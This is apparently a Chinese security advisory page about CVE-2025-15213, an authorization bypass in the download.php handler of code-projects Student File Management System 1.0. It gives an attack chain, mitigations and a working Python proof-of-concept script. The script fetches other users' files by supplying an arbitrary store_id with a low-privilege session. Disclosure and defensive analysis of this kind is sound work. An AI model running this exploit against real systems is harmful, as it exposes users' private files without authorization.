IPBUF安全漏洞报告
English
CVE-2025-15213 CVSS 4.3 中危

CVE-2025-15213 code-projects Student File Management System 1.0 授权绕过漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15213
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Student File Management System 1.0

相关标签

CVE-2025-15213授权绕过访问控制失效code-projectsStudent File Management Systemdownload.phpImproper AuthorizationWeb应用漏洞CVSS 4.3

漏洞概述

CVE-2025-15213是code-projects团队开发的Student File Management System 1.0版本中的一个授权绕过漏洞。该漏洞存在于系统的文件下载处理组件中,具体位于/download.php文件的File Download Handler功能模块。攻击者可以通过构造恶意的store_id参数值来绕过正常的授权检查机制,在低权限账户的情况下访问其他用户的文件资源。由于该漏洞不需要用户交互即可触发,且已公开利用代码,攻击者可以在无需特殊权限的情况下远程利用此漏洞获取敏感文件信息。CVSS 3.1评分为4.3,属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。在Student File Management System 1.0的/download.php文件中,File Download Handler组件在处理文件下载请求时,对store_id参数的验证存在缺陷。系统未能正确验证当前用户是否有权限访问指定store_id对应的文件资源。攻击者可以通过枚举或猜测其他用户的store_id值,构造如下恶意请求:/download.php?store_id=[victim_user_id]。由于服务器端缺少适当的授权检查逻辑,系统会直接返回目标用户的文件内容。漏洞的利用条件包括:1) 攻击者需拥有系统有效账户(低权限即可);2) 需要知道或猜测目标用户的store_id;3) 目标文件存储在可访问的路径下。修复方案应在download.php中添加对当前会话用户与请求store_id的关联验证。

攻击链分析

STEP 1
信息收集
攻击者注册获取系统账户,并通过正常功能获取自己的store_id值
STEP 2
构造恶意请求
攻击者构造/download.php?store_id=<victim_id>请求,将目标用户的store_id作为参数值
STEP 3
绕过授权检查
由于download.php未验证当前用户与store_id的关联性,服务器接受请求
STEP 4
获取敏感文件
服务器返回目标用户store_id关联的文件内容,攻击者获得未授权访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-15213 PoC - Student File Management System 1.0 Authorization Bypass # Affected Component: /download.php File Download Handler # Vulnerability: Improper Authorization via store_id parameter import requests import sys from urllib.parse import urlencode def exploit_auth_bypass(base_url, attacker_session, target_store_id): """ Exploit improper authorization in Student File Management System 1.0 Args: base_url: Target application base URL attacker_session: Valid session cookie/token for authenticated attacker target_store_id: store_id of victim user to access files from Returns: Response content if exploitation successful, None otherwise """ # Construct malicious download request with arbitrary store_id download_endpoint = f"{base_url}/download.php" params = { 'store_id': target_store_id # Unchecked authorization parameter } headers = { 'Cookie': f'session={attacker_session}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get( download_endpoint, params=params, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[!] Successfully accessed files for store_id: {target_store_id}") print(f"[*] Response headers: {dict(response.headers)}") return response.content else: print(f"[*] Request failed with status: {response.status_code}") return None except requests.RequestException as e: print(f"[!] Request error: {e}") return None def main(): if len(sys.argv) < 4: print("Usage: python3 cve_2025_15213_poc.py <base_url> <session_cookie> <target_store_id>") print("Example: python3 cve_2025_15213_poc.py http://target.com 'abc123' '5'") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = sys.argv[2] target_id = sys.argv[3] print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting store_id: {target_id}") result = exploit_auth_bypass(base_url, session, target_id) if result: print("[+] Exploitation successful - unauthorized file access achieved") else: print("[-] Exploitation failed") if __name__ == '__main__': main()

影响范围

code-projects Student File Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时措施:1) 限制download.php的访问权限,仅允许管理员访问;2) 实施IP白名单策略限制文件下载功能;3) 启用Web应用防火墙(WAF)规则检测异常的store_id参数;4) 定期监控日志文件,排查异常的下载请求模式;5) 对store_id参数实施严格的白名单验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表